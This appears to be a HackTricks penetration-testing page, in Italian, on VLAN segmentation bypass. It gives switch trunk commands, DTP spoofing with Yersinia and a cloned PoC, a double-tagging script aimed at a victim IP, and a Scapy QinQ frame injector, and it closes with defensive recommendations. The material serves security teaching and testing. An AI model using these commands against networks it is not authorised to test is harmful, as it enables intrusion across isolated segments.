6.5 KiB
Raw Blame History

Lateral VLAN Segmentation Bypass

{{#include ../../banners/hacktricks-training.md}}

Se è disponibile l'accesso diretto a uno switch, la segmentazione VLAN può essere bypassata. Questo comporta la riconfigurazione della porta connessa in modalità trunk, l'istituzione di interfacce virtuali per le VLAN target e l'impostazione degli indirizzi IP, sia dinamicamente (DHCP) che staticamente, a seconda dello scenario (per ulteriori dettagli controlla https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9).

Inizialmente, è necessaria l'identificazione della specifica porta connessa. Questo può essere tipicamente realizzato attraverso i messaggi CDP, o cercando la porta tramite la maschera include.

Se CDP non è operativo, l'identificazione della porta può essere tentata cercando l'indirizzo MAC:

SW1(config)# show mac address-table | include 0050.0000.0500

Prima di passare alla modalità trunk, dovrebbe essere compilato un elenco delle VLAN esistenti e determinati i loro identificatori. Questi identificatori vengono quindi assegnati all'interfaccia, consentendo l'accesso a varie VLAN attraverso il trunk. La porta in uso, ad esempio, è associata alla VLAN 10.

SW1# show vlan brief

La transizione alla modalità trunk comporta l'ingresso nella modalità di configurazione dell'interfaccia:

SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk

Passare alla modalità trunk interromperà temporaneamente la connettività, ma questa può essere ripristinata successivamente.

Vengono quindi create interfacce virtuali, assegnati ID VLAN e attivate:

sudo vconfig add eth0 10
sudo vconfig add eth0 20
sudo vconfig add eth0 50
sudo vconfig add eth0 60
sudo ifconfig eth0.10 up
sudo ifconfig eth0.20 up
sudo ifconfig eth0.50 up
sudo ifconfig eth0.60 up

Successivamente, viene effettuata una richiesta di indirizzo tramite DHCP. In alternativa, nei casi in cui DHCP non sia praticabile, gli indirizzi possono essere configurati manualmente:

sudo dhclient -v eth0.10
sudo dhclient -v eth0.20
sudo dhclient -v eth0.50
sudo dhclient -v eth0.60

Esempio per impostare manualmente un indirizzo IP statico su un'interfaccia (VLAN 10):

sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0

La connettività viene testata avviando richieste ICMP ai gateway predefiniti per le VLAN 10, 20, 50 e 60.

In definitiva, questo processo consente di bypassare la segmentazione VLAN, facilitando così l'accesso illimitato a qualsiasi rete VLAN e preparando il terreno per azioni successive.


Altre Tecniche di VLAN-Hopping (senza CLI switch privilegiata)

Il metodo precedente presuppone l'accesso autenticato alla console o Telnet/SSH allo switch. Negli impegni del mondo reale, l'attaccante è solitamente connesso a una porta di accesso regolare. I seguenti trucchi di Layer-2 spesso ti permettono di pivotare lateralmente senza mai accedere al sistema operativo dello switch:

1. Switch-Spoofing con Dynamic Trunking Protocol (DTP)

Gli switch Cisco che mantengono DTP abilitato negozieranno felicemente un trunk se il peer afferma di essere uno switch. Creare un singolo frame DTP “desirable” o “trunk” converte la porta di accesso in un trunk 802.1Q che trasporta tutte le VLAN consentite.

Yersinia e diversi PoC automatizzano il processo:

# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G          # Launch GUI → Launch attack → DTP → enabling trunking

# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable

Una volta che la porta passa a trunk, puoi creare sottointerfacce 802.1Q e pivotare esattamente come mostrato nella sezione precedente. I moderni kernel Linux non richiedono più vconfig; usa invece ip link:

sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up

2. Double-Tagging (Abuso del Native-VLAN)

Se l'attaccante si trova sul native (untagged) VLAN, un frame creato con due intestazioni 802.1Q può "saltare" a un secondo VLAN anche quando la porta è bloccata in modalità accesso. Strumenti come VLANPWN DoubleTagging.py (aggiornamento 2022-2024) automatizzano l'iniezione:

python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54

Packet walk-through:

  1. Il tag esterno (1) viene rimosso dal primo switch perché corrisponde al VLAN nativo.
  2. Il tag interno (20) è ora esposto; il frame viene inoltrato sul trunk verso il VLAN 20.

La tecnica funziona ancora nel 2025 su reti che lasciano il VLAN nativo al valore predefinito e accettano frame non taggati.

3. QinQ (802.1ad) Stacking

Molti core aziendali supportano l'incapsulamento Q-in-Q dei fornitori di servizi. Dove consentito, un attaccante può tunnelare traffico arbitrario taggato 802.1Q all'interno di un fornitore (S-tag) per attraversare zone di sicurezza. Cattura per ethertype 802.1ad 0x88a8 e prova a rimuovere il tag esterno con Scapy:

from scapy.all import *
outer = 100      # Service tag
inner = 30       # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")

Raccomandazioni Difensive

  1. Disabilita DTP su tutte le porte a contatto con l'utente: switchport mode access + switchport nonegotiate.
  2. Cambia il VLAN nativo su ogni trunk in un VLAN inutilizzato, black-hole e taggalo: vlan dot1q tag native.
  3. Rimuovi i VLAN non necessari sui trunk: switchport trunk allowed vlan 10,20.
  4. Applica la sicurezza delle porte, DHCP snooping e ispezione ARP dinamica per limitare l'attività Layer-2 non autorizzata.
  5. Preferisci i private-VLAN o la segmentazione L3 invece di fare affidamento esclusivamente sulla separazione 802.1Q.

Riferimenti

{{#include ../../banners/hacktricks-training.md}}